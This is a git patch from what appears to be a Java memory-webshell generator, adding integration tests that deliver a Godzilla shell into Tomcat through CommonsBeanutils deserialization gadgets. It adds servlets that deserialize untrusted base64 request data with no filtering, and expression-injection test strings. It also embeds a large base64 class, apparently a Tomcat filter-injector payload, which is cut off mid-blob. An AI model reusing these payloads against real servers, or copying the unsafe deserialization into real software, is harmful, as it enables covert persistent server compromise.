From 41d2ea5c6d97ff5c8cd65c265facf3f5ff0804ff Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 19 Feb 2025 20:55:17 +0800 Subject: [PATCH] test: add CB4 multi version gadgets integration test --- .../javaweb/integration/ContainerTool.java | 1 + .../integration/ShellAssertionTool.java | 5 ++ .../Tomcat8DeserializeContainerTest.java | 64 +++++++++++++++++++ .../Tomcat8ExpressionContainerTest.java | 1 - settings.gradle | 1 + vul/vul-webapp-deserialize/build.gradle | 54 ++++++++++++++++ .../src/main/java/BaseDeserializeServlet.java | 51 +++++++++++++++ .../main/java/JavaReadObCB110jServlet.java | 17 +++++ .../main/java/JavaReadObCB161jServlet.java | 17 +++++ .../main/java/JavaReadObCB170jServlet.java | 17 +++++ .../main/java/JavaReadObCB183jServlet.java | 17 +++++ .../main/java/JavaReadObjCB194Servlet.java | 24 +++++++ .../src/main/java/TestServlet.java | 22 +++++++ .../src/main/webapp/WEB-INF/web.xml | 9 +++ .../src/main/webapp/index.html | 1 + .../src/test/java/AviatorServletTest.java | 17 +++++ .../src/test/java/BeanShellServletTest.java | 16 +++++ .../src/test/java/GroovyServletTest.java | 14 ++++ .../src/test/java/JEXL2ServletTest.java | 18 ++++++ .../src/test/java/JEXL3ServletTest.java | 18 ++++++ .../src/test/java/JinJavaServletTest.java | 28 ++++++++ .../src/test/java/RhinoServletTest.java | 18 ++++++ 22 files changed, 429 insertions(+), 1 deletion(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java create mode 100644 vul/vul-webapp-deserialize/build.gradle create mode 100644 vul/vul-webapp-deserialize/src/main/java/BaseDeserializeServlet.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/JavaReadObCB110jServlet.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/JavaReadObCB161jServlet.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/JavaReadObCB170jServlet.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/JavaReadObCB183jServlet.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java create mode 100644 vul/vul-webapp-deserialize/src/main/java/TestServlet.java create mode 100644 vul/vul-webapp-deserialize/src/main/webapp/WEB-INF/web.xml create mode 100644 vul/vul-webapp-deserialize/src/main/webapp/index.html create mode 100644 vul/vul-webapp-deserialize/src/test/java/AviatorServletTest.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/BeanShellServletTest.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/GroovyServletTest.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/JEXL2ServletTest.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/JEXL3ServletTest.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/JinJavaServletTest.java create mode 100644 vul/vul-webapp-deserialize/src/test/java/RhinoServletTest.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 25947b86..c181f75a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -15,6 +15,7 @@ import java.nio.file.Paths; public class ContainerTool { public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath()); public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath()); + public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-deserialize/build/libs/vul-webapp-deserialize.war").toAbsolutePath()); public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Paths.get("../vul/vul-springboot2/build/libs/vul-springboot2.war").toAbsolutePath()); public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 862b7141..26c0f2bc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -242,6 +242,11 @@ public class ShellAssertionTool { case Freemarker -> VulTool.postData(url + "/freemarker", content); case Velocity -> VulTool.postData(url + "/velocity", content); case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content); + case JavaCommonsBeanutils16 -> VulTool.postData(url + "/java_deserialize/cb161", content); + case JavaCommonsBeanutils17 -> VulTool.postData(url + "/java_deserialize/cb170", content); + case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content); + case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content); + case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content); case Base64 -> VulTool.postData(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); default -> throw new IllegalStateException("Unexpected value: " + packer); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java new file mode 100644 index 00000000..6676a13d --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.integration.tomcat; + +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; +import com.reajason.javaweb.memshell.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Slf4j +@Testcontainers +public class Tomcat8DeserializeContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warDeserializeFile, "/usr/local/tomcat/webapps/app.war") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(tomcatPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils16), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java index 1d9f9a67..277c3d95 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java @@ -61,7 +61,6 @@ public class Tomcat8ExpressionContainerTest { @AfterAll static void tearDown() { String logs = container.getLogs(); - log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/settings.gradle b/settings.gradle index 42e13f85..13f04531 100644 --- a/settings.gradle +++ b/settings.gradle @@ -21,6 +21,7 @@ include 'vul' include 'vul:vul-webapp' include 'vul:vul-webapp-jakarta' include 'vul:vul-webapp-expression' +include 'vul:vul-webapp-deserialize' include 'vul:vul-springboot2' include 'vul:vul-springboot3' include 'vul:vul-springboot2-webflux' diff --git a/vul/vul-webapp-deserialize/build.gradle b/vul/vul-webapp-deserialize/build.gradle new file mode 100644 index 00000000..0f27818c --- /dev/null +++ b/vul/vul-webapp-deserialize/build.gradle @@ -0,0 +1,54 @@ +plugins { + id 'war' +} + +group = 'com.reajason.javaweb.vul' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 +} + +configurations { + cb110 + cb194 + cb183 + cb170 + cb161 +} + +dependencies { + cb110 'commons-beanutils:commons-beanutils:1.10.0' + cb194 'commons-beanutils:commons-beanutils:1.9.4' + cb183 'commons-beanutils:commons-beanutils:1.8.3' + cb170 'commons-beanutils:commons-beanutils:1.7.0' + cb161 'commons-beanutils:commons-beanutils:1.6.1' + + providedCompile 'javax.servlet:javax.servlet-api:3.1.0' +} + +war { + duplicatesStrategy = DuplicatesStrategy.EXCLUDE + + doFirst { + delete "${webAppDir}/WEB-INF/dep" + + copy { from configurations.cb110 into "${webAppDir}/WEB-INF/dep" } + copy { from configurations.cb194 into "${webAppDir}/WEB-INF/dep" } + copy { from configurations.cb183 into "${webAppDir}/WEB-INF/dep" } + copy { from configurations.cb170 into "${webAppDir}/WEB-INF/dep" } + copy { from configurations.cb161 into "${webAppDir}/WEB-INF/dep" } + } +} + +clean { + delete "${webAppDir}/WEB-INF/dep" +} + +test { + useJUnitPlatform() +} diff --git a/vul/vul-webapp-deserialize/src/main/java/BaseDeserializeServlet.java b/vul/vul-webapp-deserialize/src/main/java/BaseDeserializeServlet.java new file mode 100644 index 00000000..27074eab --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/BaseDeserializeServlet.java @@ -0,0 +1,51 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Base64; +import java.util.List; + +/** + * @author ReaJason + * @since 2025/2/19 + */ +public abstract class BaseDeserializeServlet extends HttpServlet { + + abstract List getDependentPaths(); + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + try { + String libPath = getServletContext().getRealPath("/WEB-INF/dep"); + URL[] urls = getDependentPaths().stream().map(path -> { + try { + return new File(libPath + File.separator + path).toURI().toURL(); + } catch (MalformedURLException e) { + throw new RuntimeException(e); + } + }).toArray(URL[]::new); + + final URLClassLoader classLoader = new URLClassLoader(urls); + + String data = req.getParameter("data"); + ByteArrayInputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(data)); + ObjectInputStream bis = new ObjectInputStream(inputStream) { + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { + return Class.forName(desc.getName(), false, classLoader); + } + }; + bis.readObject(); + bis.close(); + } catch (Exception e) { + if (e.getMessage().contains("InvocationTargetException")) { + return; + } + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB110jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB110jServlet.java new file mode 100644 index 00000000..cf2af80c --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB110jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Arrays; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cb110") +public class JavaReadObCB110jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Arrays.asList("commons-beanutils-1.10.0.jar", "commons-collections-3.2.2.jar", "commons-logging-1.3.4.jar"); + } + +} diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB161jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB161jServlet.java new file mode 100644 index 00000000..97958213 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB161jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Arrays; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cb161") +public class JavaReadObCB161jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Arrays.asList("commons-beanutils-1.6.1.jar", "commons-collections-2.0.jar", "commons-logging-1.0.jar"); + } + +} diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB170jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB170jServlet.java new file mode 100644 index 00000000..f798928f --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB170jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Arrays; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cb170") +public class JavaReadObCB170jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Arrays.asList("commons-beanutils-1.7.0.jar", "commons-logging-1.0.3.jar"); + } + +} diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB183jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB183jServlet.java new file mode 100644 index 00000000..1bf9308b --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObCB183jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Arrays; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cb183") +public class JavaReadObCB183jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Arrays.asList("commons-beanutils-1.8.3.jar", "commons-logging-1.1.1.jar"); + } + +} diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java new file mode 100644 index 00000000..41c87167 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB194Servlet.java @@ -0,0 +1,24 @@ +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cb194") +public class JavaReadObjCB194Servlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Arrays.asList("commons-beanutils-1.9.4.jar", "commons-logging-1.2.jar"); + } +} diff --git a/vul/vul-webapp-deserialize/src/main/java/TestServlet.java b/vul/vul-webapp-deserialize/src/main/java/TestServlet.java new file mode 100644 index 00000000..a1d2c7db --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/TestServlet.java @@ -0,0 +1,22 @@ +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/2/19 + */ +@WebServlet("/test") +public class TestServlet extends HttpServlet { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + } +} diff --git a/vul/vul-webapp-deserialize/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-deserialize/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 00000000..11e8e6cf --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,9 @@ + + + index.html + + \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/main/webapp/index.html b/vul/vul-webapp-deserialize/src/main/webapp/index.html new file mode 100644 index 00000000..653debaa --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/webapp/index.html @@ -0,0 +1 @@ +

hello

\ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/test/java/AviatorServletTest.java b/vul/vul-webapp-deserialize/src/test/java/AviatorServletTest.java new file mode 100644 index 00000000..2ca2f860 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/AviatorServletTest.java @@ -0,0 +1,17 @@ +import com.googlecode.aviator.AviatorEvaluator; +import com.googlecode.aviator.AviatorEvaluatorInstance; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/1/29 + */ +class AviatorServletTest { + + @Test + void test() { + String exp = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread())"; + AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); + System.out.println(evaluator.execute(exp)); + } +} \ No newline at end of file diff --git a/vul/vul-webapp-deserialize/src/test/java/BeanShellServletTest.java b/vul/vul-webapp-deserialize/src/test/java/BeanShellServletTest.java new file mode 100644 index 00000000..545d70e2 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/test/java/BeanShellServletTest.java @@ -0,0 +1,16 @@ +import bsh.EvalError; +import bsh.Interpreter; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/1/30 + */ +class BeanShellServletTest { + + @Test + void test() throws EvalError { + Interpreter i = new Interpreter(); + System.out.println(i.eval("new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval(\"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = 'org.springframework.cyaVb.ReflectUtil';var base64Str = 'yv66vgAAADQBvAgA7AgA7QgA7goAEgDvCgB3APALAPEA8gsA8wD0CwDzAPUKAHcA9goAdwD3BwD4CgALAPkHAPoKAA0A7wcA+wgA/AcA/QcA/goAdwD/BwCbCgAPAQAIAQEKADgBAggBAwoAdwEECAEFCACUBwEGCgAcAQcLAQgA8gsA8QEJCgAPAQoKABIBCwoAEQEMCAENCAEOCAEPCACGCgAPARAKABEBEQoAdwESCgAvARMKABEBFAoAdwEVCgB3ARYKAHcBFwcBGAgApwcApgkBGQEaCgARARsKARwBHQoBGQEeCgEcAR8IASAHASEJASIBIwgBJAoBJQEmCAEnCgARASgIASkIASoIASsKABEBLAgBLQgBLggBLwgBMAgBMQgBMgoAdwEzCAE0CgARATUIATYIATcIATgKATkBHQoBOQE6CAC3BwE7CwBRATwIAT0KAAsBPgcBPwgBQAgBQQoAEQFCCAFDCAFECAFFBwFGCgBcAO8HAUcHAUgKAF8BSQoAXgFKCgBeAUsKAFwBTAoAXAFNCgBeAU4KAFwBTgcBTwoAEQFQBwFRCgBpAO8IAVIKAGkBUwoAaQEMCgBnAVQHAVUIAVYKAG8BVwoAEQFYCgFZAR0KAVkBWgcBWwoAdQFUBwFcCgB3AO8BAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEARExjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3I7AQAMZ2V0Q2xhc3NOYW1lAQAPZ2V0QmFzZTY0U3RyaW5nAQAGPGluaXQ+AQADKClWAQAGZmlsdGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHY29udGV4dAEACGNvbnRleHRzAQAQTGphdmEvdXRpbC9MaXN0OwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQANU3RhY2tNYXBUYWJsZQcBXAcBXQcBXgcA+AEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAV2YWx1ZQEAC2NoaWxkcmVuTWFwAQAGdGhyZWFkAQASTGphdmEvbGFuZy9UaHJlYWQ7AQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwcA+wcBBgcA/gEACkV4Y2VwdGlvbnMBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEACGdldFNoZWxsAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47BwEYAQAGaW5qZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBACNbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yPCo+OwcAtQEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAMZGVjb2RlckNsYXNzAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAGYnVmZmVyAQABbgEAAUkBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAA9nemlwSW5wdXRTdHJlYW0BAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07BwFGBwFHBwFfBwFgAQAMaW52b2tlTWV0aG9kAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAGbWV0aG9kAQADb2JqAQAKbWV0aG9kTmFtZQEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEAE1tMamF2YS9sYW5nL09iamVjdDsBABVbTGphdmEvbGFuZy9DbGFzczwqPjsHAP0HAWEHAU8HASEHANcHANkBAGAoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M8Kj47W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARuYW1lBwFbBwFiAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEADnt7dXJsUGF0dGVybn19AQANe3tjbGFzc05hbWV9fQEADXt7YmFzZTY0U3RyfX0MAIIAgwwAkgCTBwFdDAFjAWQHAV4MAWUBZgwBZwFoDACjAKQMAK8AsAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAWkAgwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QMANAA0QwBagB6AQAcQ29udGFpbmVyQmFja2dyb3VuZFByb2Nlc3NvcgwBawFsAQAGdGFyZ2V0DADiAOMBAAZ0aGlzJDABABFqYXZhL3V0aWwvSGFzaE1hcAwBbQFuBwFvDAFwAXEMAXIBcwwBdAF1DAF2AHoBABlQYXJhbGxlbFdlYmFwcENsYXNzTG9hZGVyAQAfVG9tY2F0RW1iZWRkZWRXZWJhcHBDbGFzc0xvYWRlcgEACXJlc291cmNlcwwBdwF4DAF5AXMMAIAAegwBegF7DAF8AWgMAIEAegwAuwC8DADCAMMBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAX0MAX4AqgwBfwGABwFhDAGBAYIMAYMBhAwBhQGGAQANZmluZEZpbHRlckRlZgEAEGphdmEvbGFuZy9TdHJpbmcHAYcMAMgBiAEAF2ZpbHRlciBhbHJlYWR5IGluamVjdGVkBwGJDAGKAYsBAC9vcmcuYXBhY2hlLnRvbWNhdC51dGlsLmRlc2NyaXB0b3Iud2ViLkZpbHRlckRlZgwBjAF7AQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXABACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAMAYwBjQEADXNldEZpbHRlck5hbWUBAA5zZXRGaWx0ZXJDbGFzcwEADGFkZEZpbHRlckRlZgEADXNldERpc3BhdGNoZXIBAAdSRVFVRVNUAQANYWRkVVJMUGF0dGVybgwAeQB6AQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnDAGOAY8BAA1zZXRVUkxQYXR0ZXJuAQASYWRkRmlsdGVyTWFwQmVmb3JlAQAMYWRkRmlsdGVyTWFwBwGQDAF8AZEBAA1qYXZhL3V0aWwvTWFwDAGSAZMBABVmaWx0ZXIgaW5qZWN0IHN1Y2Nlc3MMAZQBlQEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAZYBgAEABmRlY29kZQEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIBAAxkZWNvZGVCdWZmZXIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQwAggGXDACCAZgMAZkBmgwBmwGcDAGdAZ4MAZ8AgwEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAaABdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQASTWV0aG9kIG5vdCBmb3VuZDogDAGhAaIMAIIBiwEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uAQAXRXJyb3IgaW52b2tpbmcgbWV0aG9kOiAMAIIBowwBpAGlBwGmDAGnAKQBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BAEJjb20vcmVhamFzb24vamF2YXdlYi9tZW1zaGVsbC90b21jYXQvaW5qZWN0b3IvVG9tY2F0RmlsdGVySW5qZWN0b3IBAA5qYXZhL3V0aWwvTGlzdAEAEmphdmEvdXRpbC9JdGVyYXRvcgEAE2phdmEvbGFuZy9UaHJvd2FibGUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAHZ2V0TmFtZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGdmFsdWVzAQAYKClMamF2YS91dGlsL0NvbGxlY3Rpb247AQAUamF2YS91dGlsL0NvbGxlY3Rpb24BAANhZGQBABUoTGphdmEvbGFuZ